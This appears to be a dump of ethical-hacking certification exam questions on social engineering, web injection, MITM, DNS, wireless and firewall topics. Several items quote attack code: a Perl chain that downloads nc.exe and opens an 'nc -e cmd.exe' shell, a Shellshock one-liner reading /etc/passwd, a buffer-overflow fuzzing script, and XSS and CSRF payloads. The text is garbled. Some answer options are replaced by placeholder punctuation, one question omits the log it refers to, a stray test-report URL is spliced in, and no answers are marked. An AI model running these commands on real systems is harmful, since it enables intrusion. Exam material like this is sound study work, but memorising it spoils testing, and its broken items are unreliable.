You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist’s email, and you send her an email changing the source email to her boss’s email( boss@company ). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don’t work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network.
What testing method did you use?
Social engineering
Tailgating
Piggybacking
Eavesdropping
A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop anti-virus and E-mail gateway. This approach can be used to mitigate which kind of attack?
Forensic attack
ARP spoofing attack
Social engineering attack
Scanning attack
When utilizing technical assessment methods to assess the security posture of a network, which of the following techniques would be most effective in determining whether end-user security training would be beneficial?
Vulnerability scanning
Social engineering
Application security testing
Network sniffing
The company ABC recently discovered that their new product was released by the opposition before their premiere. They contract an investigator who discovered that the maid threw away papers with confidential information about the new product and the opposition found it in the garbage. What is the name of the technique used by the opposition?
Hack attack
Sniffing
Dumpster diving
Spying
The Open Web Application Security Project (OWASP) is the worldwide not-for-profit charitable organization focused on improving the security of software. What item is the primary concern on OWASP’s Top Ten Project Most Critical Web Application Security Risks?
Injection
Cross Site Scripting
Cross Site Request Forgery
Path disclosure
Which Open Web Application Security Project (OWASP) implements a web application full of known vulnerabilities?
WebBugs
WebGoat
VULN_HTML
WebScarab
When comparing the testing methodologies of Open Web Application Security Project (OWASP) and Open Source Security Testing Methodology Manual (OSSTMM) the main difference is
OWASP is for web applications and OSSTMM does not include web applications.
OSSTMM is gray box testing and OWASP is black box testing.
OWASP addresses controls and OSSTMM does not.
OSSTMM addresses controls and OWASP does not.
The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services?
An extensible security framework named COBIT
A list of flaws and how to fix them
Web application patches
A security certification for hardened web applications
If an e-commerce site was put into a live environment and the programmers failed to remove the secret entry point that was used during the application development, what is this secret entry point known as?
SDLC process
Honey pot
SQL injection
Trap door
A hacker was able to easily gain access to a website. He was able to log in via the frontend user login form of the website using default or commonly used credentials. This exploitation is an example of what Software design flaw?
Insufficient security management
Insufficient database hardening
Insufficient input validation
Insufficient exception handling
While performing data validation of web content, a security technician is required to restrict malicious input. Which of the following processes is an efficient way of restricting malicious input?
Validate web content input for query strings.
Validate web content input with scanning tools.
Validate web content input for type, length, and range.
Validate web content input for extraneous queries.
Code injection is a form of attack in which a malicious user
Inserts text into a data field that gets interpreted as code.
Gains access to the codebase on the server and inserts new code.
Gets the server to execute arbitrary code using a buffer overflow.
Inserts additional code into the JavaScript running in the browser.
An attacker has been successfully modifying the purchase price of items purchased on the company’s web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?
By using SQL injection
By changing hidden form values
By using cross site scripting
By utilizing a buffer overflow attack
While performing online banking using a Web browser, Kyle receives an email that contains an image of a wellcrafted art. Upon clicking the image, a new tab on the web browser opens and shows an animated GIF of bills and coins being swallowed by a crocodile. After several days, Kyle noticed that all his funds on the bank was gone. What Web browser-based security vulnerability got exploited by the hacker?
Clickjacking
Web Form Input Validation
Cross-Site Request Forgery
Cross-Site Scripting
Cross-site request forgery involves
A browser making a request to a server without the user’s knowledge
Modification of a request by a proxy between client and server.
A server making a request to another server without the user’s knowledge
A request sent by a malicious user from a browser to a server
What type of a vulnerability/attack is it when the malicious person forces the user’s browser to send an authenticated request to a server?
Cross-site request forgery
Server side request forgery
Cross-site scripting
Session hijacking
Which of the following conditions must be given to allow a tester to exploit a Cross-Site Request Forgery (CSRF) vulnerable web application?
The victim user must open the malicious link with an Internet Explorer prior to version 8.
The session cookies generated by the application do not have the HttpOnly flag set.
The victim user must open the malicious link with a Firefox prior to version 3.
The web application should not use random tokens.
Identify the web application attack where the attackers exploit vulnerabilities in dynamically generated web pages to inject client-side script into web pages viewed by other users
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
LDAP Injection attack
SQL injection attack
A company’s Web development team has become aware of a certain type of security vulnerability in their Web software. To mitigate the possibility of this vulnerability being exploited, the team wants to modify the software requirements to disallow users from entering HTML as input into their Web application.
What kind of Web application vulnerability likely exists in their software?
Session management vulnerability
Cross-site Request Forgery vulnerability
Cross-site scripting vulnerability
SQL injection vulnerability
While testing the company’s web applications, a tester attempts to insert the following test script into the search area on the company’s web site:
alert(” Testing Testing Testing “)
Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text: “Testing Testing Testing”. Which vulnerability has been detected in the web application?
Buffer overflow
Cross-site request forgery
Distributed denial of service
Cross-site scripting
A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the application’s search form and introduces the following code in the search input field:
IMG SRC=vbscript:msgbox(“Vulnerable”);> originalAttribute=”SRC” originalPath=”vbscript:msgbox
(“Vulnerable”);>”
When the analyst submits the form, the browser returns a pop-up window that says “Vulnerable”.
Which web applications vulnerability did the analyst discover?
Cross-site request forgery
Command injection
Cross-site scripting
SQL injection
During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?
The web application does not have the secure flag set.
The session cookies do not have the HttpOnly flag set.
The victim user should not have an endpoint security solution.
The victim’s browser must have ActiveX technology enabled.
An attacker changes the profile information of a particular user (victim) on the target website. The attacker uses this string to update the victim’s profile to a text file and then submit the data to the attacker’s database.
< iframe src=””http://www.vulnweb.com/updateif.php”” style=””display:none”” > < /iframe >
What is this type of attack (that can use either HTTP GET or HTTP POST) called?
SQL Injection
Cross-Site Scripting
Browser Hacking
Cross-Site Request Forgery
Insecure direct object reference is a type of vulnerability where the application does not verify if the user is authorized to access the internal object via its name or key. Suppose a malicious user Rob tries to get access to the account of a benign user Ned. Which of the following requests best illustrates an attempt to exploit an insecure direct object reference vulnerability
GET /restricted/goldtransferto=Rob&from=1 or 1=1′ HTTP1.1Host westbank.com
GET /restricted/bank.getaccount(‘Ned’) HTTP1.1 Host westbank.com
GET /restricted/accounts/?name=Ned HTTP1.1 Host westbank.com
GET /restricted/\r\n\%00account%00Ned%00access HTTP1.1 Host westbank.com
Which of the following is the BEST way to protect Personally Identifiable Information (PII) from being exploited due to vulnerabilities of varying web applications?
Use cryptographic storage to store all PII
Use full disk encryption on all hard drives to protect PII
Use encrypted communications protocols to transmit PII
Use a security token to log into all Web applications that use PII
Which of the following is the BEST approach to prevent Cross-site Scripting (XSS) flaws?
Use digital certificates to authenticate a server prior to sending data.
Verify access right before allowing access to protected information and UI controls.
Verify access right before allowing access to protected information and UI controls.
Validate and escape all information sent to a server.
A developer for a company is tasked with creating a program that will allow customers to update their billing and shipping information. The billing address field used is limited to 50 characters. What pseudo code would the developer use to avoid a buffer overflow attack on the billing address field?
if (billingAddress = 50) {update field} else exit
if (billingAddress != 50) {update field} else exit
if (billingAddress >= 50) {update field} else exit
if (billingAddress <= 50) {update field} else exit
A recently hired network security associate at a local bank was given the responsibility to perform daily scans of the internal network to look for unauthorized devices. The employee decides to write a script that will scan the network for unauthorized devices every morning at 5:00 am. Which of the following programming languages would most likely be used?
PHP
C#
Python
ASP.NET
Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of
a built-in-bounds checking mechanism?
Code:
#include <string.h>
int main(){
char buffer[8];
strcpy(buffer, ““11111111111111111111111111111””);
}
Output:
Segmentation fault
C#
Python
Java
C++
#!/usr/bin/python
import socket
buffer=[“A”]counter=50
while len(buffer)<=100:
buffer.apend (“A”*counter)
counter=counter+50
commands=
[“HELP”,“STATS.”,“RTIME.”,“LTIME.”,“SRUN.”,“TRUN.”,“GMON.”,“GDOG.”,“KSTET.”,“GTER.”,“HTER.”,“LTER.
”,“KSTAN.”]
for command in commands:
for buffstring in buffer:
print “Exploiting” +command+“:”+str(len(buffstring))
s=socket.socket(socket.AF_INET.socket.SOCK_STREAM)
s.connect((‘127.0.0.1’,9999))
s.recv(50)
s.send(command+buffstring)
s.close()
What is the code written for?
Buffer Overflow
Encryption
Bruteforce
Denial-of-service (Dos)
A company’s security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is this policy attempting to mitigate?
Attempts by attackers to access Web sites that trust the Web browser user by stealing the user’s authentication credentials.
Attempts by attackers to access the user and password information stored in the company’s SQL database.
Attempts by attackers to access passwords stored on the user’s computer without the user’s knowledge.
Attempts by attackers to determine the user’s Web browser usage patterns, including when sites were visited and for how long.
While using your bank’s online servicing you notice the following string in the URL bar: “http://www.MyPersonalBank.com/account?id=368940911028389&Damount=10980&Camount=21” You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflect the changes. Which type of vulnerability is present on this site?
Web Parameter Tampering
Cookie Tampering
XSS Reflection
SQL injection
What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?
Injecting parameters into a connection string using semicolons as a separator
Inserting malicious Javascript code into input parameters
Setting a user’s session identifier (SID) to an explicit known value
Adding multiple parameters with the same name in HTTP requests
When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners.
What proxy tool will help you find web vulnerabilities?
Dimitry
Proxychains
Burpsuite
Maskgen
You are looking for SQL injection vulnerability by sending a special character to web applications. Which of the following is the most useful for quick validation?
Blackslash
Semicolon
Double quotation
Single quotation
A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database. In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request?
Semicolon
Single quote
Double quote
Exclamation mark
What is the best description of SQL Injection?
It is an attack used to gain unauthorized access to a database.
It is an attack used to modify code in an application.
It is a Man-in-the-Middle attack between your SQL Server and Web App Server.
It is a Denial of Service Attack.
Which of the following is used to indicate a single-line comment in structured query language (SQL)?
—
||
%%
”
Which tool is used to automate SQL injections and exploit a database by forcing a given web application to connect to another database controlled by a hacker?
DataThief
NetCat
Cain and Abel
SQLInjector
What is attempting an injection attack on a web server based on responses to True/False questions called?
Compound SQLi
DMS-specific SQLi
Classic SQLi
Blind SQLi
What is the main difference between a “Normal” SQL Injection and a “Blind” SQL Injection vulnerability?
The request to the web server is not visible to the administrator of the vulnerable application.
The attack is called “Blind” because, although the application properly filters user input, it is still vulnerable to code injection.
The successful attack does not show an error message to the administrator of the affected application.
The vulnerable application does not display errors with information about the injection results to the attacker.
A security administrator notices that the log file of the company’s webserver contains suspicious entries:
Based on source code analysis, the analyst concludes that the login.php script is vulnerable to
command injection.
SQL injection.
directory traversal.
LDAP injection.
If an attacker uses the command SELECT FROM user WHERE name = ‘x’ AND userid IS NULL; –‘; which type of SQL injection attack is the attacker performing
Tautology (Use OR operator so that query always TRUE)
Piggy-backed (Input additional queries to original, first query is valid and the subsequent are injected queries)
Union (Returns a dataset that is union of the result of original query and injected queries)
You are attempting to man-in-the-middle a session. Which protocol will allow you to guess a sequence number?
TCP
UPD
ICMP
UPX
An attacker attaches a rogue router in a network. He wants to redirect traffic to a LAN attached to his router as part of a man-in-the-middle attack. What measure on behalf of the legitimate admin can mitigate this attack?
Only using OSPFv3 will mitigate this risk.
Make sure that legitimate network routers are configured to run routing protocols with authentication.
Redirection of the traffic cannot happen unless the admin allows it explicitly.
Disable all routing protocols and only use static routes.
An attacker, using a rogue wireless AP, performed an MITM attack and injected an HTML code to embed a malicious applet in all HTTP connections. When users accessed any page, the applet ran and exploited many machines. Which one of the following tools the hacker probably used to inject HTML code?
Ettercap (putting network interface to promiscuous mode, ARP poisoning target machines)
.,.,.,.,
Which of the following is an example of IP spoofing?
SQL injections
Man-in-the-middle
Cross-site scripting
ARP poisoning
Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?
Nikto
Snort
John the Ripper
Dsniff
Why should the security analyst disable/remove unnecessary ISAPI filters?
To defend against webserver attacks
To defend against social engineering attacks
To defend against wireless attacks
To defend against jailbreaking
How does an operating system protect the passwords used for account logins?
The operating system performs a one-way hash of the passwords.
The operating system stores the passwords in a secret file that users cannot find.
The operating system encrypts the passwords, and decrypts them when needed.
The operating system stores all passwords in a protected segment of non-volatile memory.
Which of the following techniques does a vulnerability scanner use in order to detect a vulnerability on a target service?
Port scanning
Banner grabbing
Injecting arbitrary data
Analyzing service response
Which tool can be used to silently copy files from USB devices?
USB Grabber
USB Dumper
USB Sniffer
USB Snoopy
Windows file servers commonly hold sensitive files, databases, passwords and more. Which of the following choices would be a common vulnerability that usually exposes them?
Cross-site scripting
SQL injection
Missing patches
CRLF injection
At a Windows Server command prompt, which command could be used to list the running services?
Sc query type= running
Sc query \\\\servername
Sc query
Sc config
What is the most common method to exploit the “Bash Bug” or “ShellShock” vulnerability?
SSH
SYN Flood
Through web servers utilizing CGI (Common Gateway Interface) to send a malformed environment variable to a vulnerable Web server
Manipulate format strings in text fields
env x=`(){ :;};echo exploit` bash -c ‘cat /etc/passwd’
What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host?
Display passwd content to prompt
Changes all passwords in passwd
Removes the passwd file
Add new user to the passwd file
Shellshock had the potential for an unauthorized user to gain access to a server. It affected many internet facing services, which OS did it not directly affect?
Windows
Unix
Linux
OS X
Which of the following is a vulnerability in GNU’s bash shell (discovered in September of 2014) that gives attackers access to run remote commands on a vulnerable system? The malicious software can take control of an infected machine, launch denial-of-service attacks to disrupt websites, and scan for other vulnerable devices (including routers).
Shellshock
Rootshell
Rootshock
Shellbash
How can telnet be used to fingerprint a web server?
telnet webserverAddress 80
HEAD / HTTP/1.0
telnet webserverAddress 80
PUT / HTTP/1.0
telnet webserverAddress 80
HEAD / HTTP/2.0
telnet webserverAddress 80
PUT / HTTP/2.0
invictus@victim_server:~$ nmap -T4 -0 10.10.0.0/24
TCP/IP fingerprinting (for OS scan) xxxxxxx xxxxxx xxxxxxxxx. QUITTING!
Obviously, it is not going through. What is the issue here?
OS Scan requires root privileges
The nmap syntax is wrong.
The outgoing TCP/IP fingerprinting is blocked by the host firewall
This is a common behavior for a corrupted nmap application
What type of OS fingerprinting technique sends specially crafted packets to the remote OS and analyzes the received response?
Passive
Distributive
Reflective
Active
Which of the following types of jailbreaking allows user-level access but does not allow iboot-level access
userland exploit
,.,.,.,.
An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?
Classified
Overt
Encrypted
Covert
One way to defeat a multi-level security solution is to leak data via
a bypass regulator.
steganography.
a covert channel.
asymmetric routing.
A covert channel is a channel that
transfers information over, within a computer system, or network that is outside of the security policy.
transfers information over, within a computer system, or network that is within the security policy.
transfers information via a communication path within a computer system, or network for transfer of data.
transfers information over, within a computer system, or network that is encrypted.
An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?
The wireless card was not turned on.
The wrong network card drivers were in use by Wireshark.
On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.
Certain operating systems and adapters do not collect the management or control packets.
A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:
system(“perl msadc.pl -h $host -C \\”echo open $your >testfile\\””);
system(“perl msadc.pl -h $host -C \\”echo $user>>testfile\\””);
system(“perl msadc.pl -h $host -C \\”echo $pass>>testfile\\””);
system(“perl msadc.pl -h $host -C \\”echo bin>>testfile\\””);
system(“perl msadc.pl -h $host -C \\”echo get nc.exe>>testfile
system(“perl msadc.pl -h $host -C \\”echo get hacked.html>>testfile
(“perl msadc.pl -h $host -C \\”echo quit>>testfile\\””);
system(“perl msadc.pl -h $host -C \\”ftp \\-s\\:testfile\\””);
$o=; print “Opening …\\n”;
system(“perl msadc.pl -h $host -C \\”nc -l -p $port -e cmd.exe\\””);
Which exploit is indicated by this script?
A buffer overflow exploit
A chained exploit
A SQL injection exploit
A denial of service exploit
How can a rootkit bypass Windows 7 operating system’s kernel mode, code signing policy?
Defeating the scanner from detecting any code change at the kernel
Replacing patch system calls with its own version that hides the rootkit (attacker’s) actions
Performing common services for the application process and replacing real applications with fake ones
Attaching itself to the master boot record in a hard drive and changing the machine’s boot sequence/options
What mechanism in Windows prevents a user from accidentally executing a potentially malicious batch (.bat) or PowerShell (.ps1) script?
User Access Control (UAC)
Data Execution Prevention (DEP)
Address Space Layout Randomization (ASLR)
Windows firewall
A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the third is a binary file is named “”nc.”” The FTP server’s access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted the contents of the tarball and ran the script using a function provided by the FTP server’s software. The ps command shows that the nc file is running as process, and the netstat command shows the nc process is listening on a network port.
What kind of vulnerability must be present to make this remote attack possible?
File system permissions
Privilege escalation
Brute force login
Directory traversal
An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?
He will create a SPAN entry on the spoofed root bridge and redirect traffic to his computer.
He will repeat the same attack against all L2 switches of the network.
He will activate OSPF on the spoofed root bridge.
He will repeat this action so that it escalates to a DoS attack.
It is a widely used standard for message logging. It permits separation of the software that generates messages, the system that stores them, and the software that reports and analyzes them. This protocol is specifically designed for transporting event messages. Which of the following is being described?
SNMP
ICMP
SYSLOG
SMS
Which among the following is a Windows command that a hacker can use to list all the shares to which the current user context has access?
NET FILE
NET USE
NET CONFIG
NET VIEW
Which system consists of a publicly available set of databases that contain domain name registration contact information?
CAPTCHA
IETF
WHOIS
IANA
During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server on the internal network. What is this type of DNS configuration commonly called?
Split DNS
DNSSEC
DynDNS
DNS Scheme
A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records?
Locate type=ns
Request type=ns
Set type=ns
Transfer type=ns
___________ Is a set of extensions to DNS that provide to DNS clients (resolvers) origin authentication of DNS data to reduce the threat of DNS poisoning, spoofing, and similar attacks types.
DNSSEC
Resource records
Zone transfer
Resource transfer
Some clients of TPNQM SA were redirected to a malicious site when they tried to access the TPNQM main site. Bob, a system administrator at TPNQM SA, found that they were victims of DNS Cache Poisoning. What should Bob recommend to deal with such a threat
The use of DNSSEC
Client awareness
The use of double-factor authentication
The use of security agents in clients computers
What is the purpose of a demilitarized zone on a network
To provide a place to put the honeypot
To only provide direct access to the nodes within the DMZ and protect the network behind it
To scan all traffic coming through the DMZ to the internal network
To contain the network devices you wish to protect
Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not needed if he properly configures the firewall to allow access just to servers ports, which can have direct internet access, and block the access to workstations. Bob also concluded that DMZ makes sense just when a stateful firewall is available, which is not the case of TPNQM SA.
In this context, what can you say
Bob can be right since DMZ does not make sense when combined with stateless firewalls.
Bob is totally wrong. DMZ is always relevant when the company has internet servers and workstations.
Bob is partially right. DMZ does not make sense when a stateless firewall is available.
Bob is partially right. He does not need to separate networks if he can create rules by destination IPs, one by one.
A company firewall engineer has configured a new DMZ to allow public systems to be located away from the internal network. The engineer has three security zones set:
Untrust (Internet) – (Remote network = 217.77.88.0/24)
DMZ (DMZ) – (11.12.13.0/24)
Trust (Intranet) – (192.168.0.0/24)
The engineer wants to configure remote desktop access from a fixed IP on the remote network to a remote desktop server in the DMZ. Which rule would best fit this requirement?
Permit 217.77.88.0/24 11.12.13.0/24 RDP 3389
Permit 217.77.88.12 11.12.13.50 RDP 3389
Permit 217.77.88.12 11.12.13.0/24 RDP 3389
Permit 217.77.88.0/24 11.12.13.50 RDP 3389
A regional bank hires your company to perform a security assessment on their network after a recent data breach. The attacker was able to steal financial data from the bank by compromising only a single server.
Based on this information, what should be one of your key recommendations to the bank?
Place a front-end web server in a demilitarized zone that only handles external web traffic
Require all employees to change their anti-virus program with a new one.
Issue new certificates to the web servers from the root certificate authority
Move the financial data to another server on the same IP subnet
In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims. What is the difference between pharming and phishing attacks?
Both pharming and phishing attacks are purely technical and are not considered forms of social engineering
In a pharming attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a phishing attack an attacker provides the victim with a URL that is either misspelled or looks similar to the actual websites domain name
Both pharming and phishing attacks are identical
In a phishing attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a pharming attack an attacker provides the victim with a URL that is either misspelled or looks very similar to the actual websites domain name
An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to http://www.MyPersonalBank.com, the user is directed to a phishing site.
Which file does the attacker need to modify
Hosts
Boot.ini
Sudoers
Networks
A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company’s internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur?
SSL
Mutual authentication
IPSec
Static IP addresses
When security and confidentiality of data within the same LAN is of utmost priority, which IPSec mode should you implement?
AH Tunnel mode
AH promiscuous
ESP transport mode
ESP confidential
Which component of IPsec performs protocol-level functions that are required to encrypt and decrypt the packets?
Internet Key Exchange (IKE)
,.,,,,.,.
Internet Protocol Security IPSec is actually a suite of protocols. Each protocol within the suite provides different functionality. Collective IPSec does everything except.
Protect the payload and the headers
Authenticate
Encrypt
Work at the Data Link Layer
Which protocol is used for setting up secured channels between two devices, typically in VPNs?
IPSEC
PEM
SET
PPP
The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and
non-repudiation.
operability
security
usability
In IPv6 what is the major difference concerning application layer vulnerabilities compared to IPv4?
Vulnerabilities in the application layer are independent of the network layer. Attacks and mitigation techniques are almost identical.
Implementing IPv4 security in a dual-stack network offers protection from IPv6 atttacks too.
Vulnerabilities in the application layer are greatly different from IPv4
Due to the extensive security measures built in IPv6, application layer vulnerabilities need not be addressed
Which of these is capable of search for and locating rogue access points?
HIDS
WIPS
NIDS
WISS
Supposed you are the Chief Network Engineer of a certain Telco. Your company is planning for a big business expansion and it requires that your network authenticate users connecting using analog modems, Digital Subscriber Lines (DSL), wireless data services, and Virtual Private Networks (VPN) over a Frame Relaynetwork. Which AAA protocol would you implement?
TACACS+
DIAMETER
Kerberos
RADIUS
Which of the following security policies defines the use of VPN for gaining access to an internal corporate network?
Network security policy
Remote access policy
Information protection policy
Access control policy
A security analyst is performing an audit on the network to determine if there are any deviations from the security policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed. Which security policy must the security analyst check to see if dial-out modems are allowed?
Acceptable-use policy
Firewall-management policy
Remote-access policy
Permissive policy
Which tool would be used to collect wireless packet data?
NetStumbler
John the Ripper
Nessus
Netcat
Smart cards use which protocol to transfer the certificate in a secure manner?
Extensible Authentication Protocol (EAP)
Point to Point Protocol (PPP)
Point to Point Tunneling Protocol (PPTP)
Layer 2 Tunneling Protocol (L2TP)
In order to have an anonymous Internet surf, which of the following is best choice?
Use Tor network with multi-node (connect virtual tunnels, not direct connection)
Use SSL sites when entering personal information
Use shared WiFi
Use public VPN
Bluetooth uses which digital modulation technique to exchange information between paired devices?
PSK (phase-shift keying)
FSK (frequency-shift keying)
ASK (amplitude-shift keying)
QAM (quadrature amplitude modulation)
Which of the following Bluetooth hacking techniques does an attacker use to send messages to users without the recipient’s consent, similar to email spamming
Bluejacking
,.,.,.
The following are types of Bluetooth attack EXCEPT_____?
Bluejacking (sends spam in the form of text messages to the devices)
Bluebugging (complete takeover of a phone)
Bluesnarfing (leave open some of the private information, unlikely to happen)
Bluedriving (Wardriving, lookup services)
It is a short-range wireless communication technology that allows mobile phones, computers and other devices to connect and communicate. This technology intends to replace cables connecting portable devices with high regards to security.
Bluetooth
Radio-Frequency Identification
WLAN
InfraRed
Which of the following is a wireless network detector that is commonly found on Linux?
Kismet
Abel
Netstumbler
Nessus
Which of the following is a passive wireless packet analyzer that works on Linux-based systems?
Burp Suite
OpenVAS
tshark
Kismet
Which of the following network attacks relies on sending an abnormally large packet size that exceeds TCP/IP specifications?
Ping of death
SYN flooding
TCP hijacking
Smurf attack
Which of the following network attacks takes advantage of weaknesses in the fragment reassembly functionality of the TCP/IP protocol stack?
Teardrop
SYN flood
Smurf attack
Ping of death
A new wireless client that is 802.11 compliant cannot connect to a wireless network given that the client can see the network and it has compatible hardware and software installed. Upon further tests and investigation it was found out that the Wireless Access Point (WAP) was not responding to the association requests being sent by the wireless client. What MOST likely is the issue on this scenario?
The client cannot see the SSID of the wireless network
The WAP does not recognize the client’s MAC address.
The wireless client is not configured to use DHCP.
Client is configured for the wrong channel
WPA2 uses AES for wireless data encryption at which of the following encryption levels?
64 bit and CCMP
128 bit and CRC
128 bit and CCMP
128 bit and TKIP
During a wireless penetration test, a tester detects an access point using WPA2 encryption. Which of the following attacks should be used to obtain the key?
The tester must capture the WPA2 authentication handshake and then crack it.
The tester must use the tool inSSIDer to crack it using the ESSID of the network.
The tester cannot crack WPA2 because it is in full compliance with the IEEE 802.11i standard.
The tester must change the MAC address of the wireless network card and then use the AirTraf tool to obtain the key.
Which of the following BEST describes how Address Resolution Protocol (ARP) works?
It sends a reply packet for a specific IP, asking for the MAC address
It sends a reply packet to all the network elements, asking for the MAC address from a specific IP
It sends a request packet to all the network elements, asking for the domain name from a specific IP
It sends a request packet to all the network elements, asking for the MAC address from a specific IP
You’ve just discovered a server that is currently active within the same network with the machine you recently compromised. You ping it but it did not respond. What could be the case?
TCP/IP doesn’t support ICMP
ARP is disabled on the target server
ICMP could be disabled on the target server
You need to run the ping command with root privileges
…….. is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hotspot by posing as a legitimate provider. This type of attack may be used to steal the passwords of unsuspecting users by either snooping the communication link or by phishing, which involves setting up a
fraudulent web site and luring people there. Fill in the blank with appropriate choice.
Collision Attack
Evil Twin Attack
Sinkhole Attack
Signal Jamming Attack
This tool is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the PTW attack, thus making the attack much faster compared to other WEP cracking tools.
Which of the following tools is being described?
Aircrack-ng
Airguard
WLAN-crack
wificracker
Which type of antenna is used in wireless communication?
Omnidirectional
Parabolic
Uni-directional
Bi-directional
Which of the following antennas is commonly used in communications for a frequency band of 10 MHz to VHF and UHF
Yagi
.,.,.,.,
In 2007, this wireless security algorithm was rendered useless by capturing packets and discovering the passkey in a matter of seconds. This security flaw led to a network invasion of TJ Maxx and data theft through a technique known as wardriving. Which algorithm is this referring to?
Wi-Fi Protected Access 2 (WPA2)
Wired Equivalent Privacy (WEP)
Wi-Fi Protected Access (WPA)
Temporal Key Integrity Protocol (TKIP)
A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the 192.168.1.0/24. Which of the following has occurred?
The computer is not using a private IP address
The gateway and the computer are not on the same network
The computer is using an invalid IP address
The gateway is not routing to a public IP address
Which of the following descriptions is true about a static NAT?
A static NAT uses a many-to-many mapping.
A static NAT uses a one-to-many mapping.
A static NAT uses a many-to-one mapping.
A static NAT uses a one-to-one mapping.
A penetration tester is attempting to scan an internal corporate network from the internet without alerting the border sensor. Which is the most efficient technique should the tester consider using?
Spoofing an IP address
Tunneling scan over SSH
Tunneling over high port numbers
Scanning using fragmented IP packets
DNS cache snooping is a process of determining if the specified resource address is present in the DNS cache records. It may be useful during the examination of the network to determine what software update resources are used, thus discovering what software is installed. What command is used to determine if the entry is present in DNS cache?
.,.,,.,,.,.
nslookup -norecursive update.antivirus.com
An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gain access to the DNS server and redirect the direction http://www.google.com to his own IP address. Now when the employees of the office wants to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?
DNS spoofing (corrupted DNS data is introduced in cache, returning incorrect IP)
Smurf Attack (DDoS, send large spoofed network packet directed towards victim IP)
ARP Poisoning (Send ARP packet to change pairings in its IP to MAC address table)
MAC Flooding (Flooding network switches with packets, to consume the limited)
From the following table, identify the wrong answer in terms of Range (ft).
Standard Range (ft)
802.11a 150-150
802.11b 150-150
802.11g 150-150
802.16 (WiMax) 30 miles
A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the Prometric Online Testing – Reports https://ibt1.prometric.com/users/custom/report_queue/rq_str… corporate network. What tool should the analyst use to perform a Blackjacking attack?
BBCrack
Paros Proxy
Blooover
BBProxy
What is a successful method for protecting a router from potential smurf attacks?
Placing the router in broadcast mode
Enabling port forwarding on the router
Installing the router outside of the network’s firewall
Disabling the router from accepting broadcast ping messages
The security administrator of ABC needs to permit Internet traffic in the host 10.0.0.2 and UDP traffic in the host 10.0.0.3. Also he needs to permit all FTP traffic to the rest of the network and deny all other traffic. After he applied his ACL configuration in the router nobody can access to the ftp and the permitted hosts cannot access to the Internet. According to the next configuration what is happening in the network?
access-list 102 deny tcp any any
access-list 104 permit udp host 10.0.0.3 any
access-list 110 permit tcp host 10.0.0.2 eq www any
access-list 108 permit tcp any eq ftp any
The ACL 110 needs to be changed to port 80
The ACL for FTP must be before the ACL 110
The first ACL is denying all TCP traffic and the other ACLs are being ignored by the router
The ACL 104 needs to be first because is UDP
A recent security audit revealed that there were indeed several occasions that the company’s network was breached. After investigating, you discover that your IDS is not configured properly and therefore is unable to trigger alarms when needed. What type of alert is the IDS giving?
True Positive
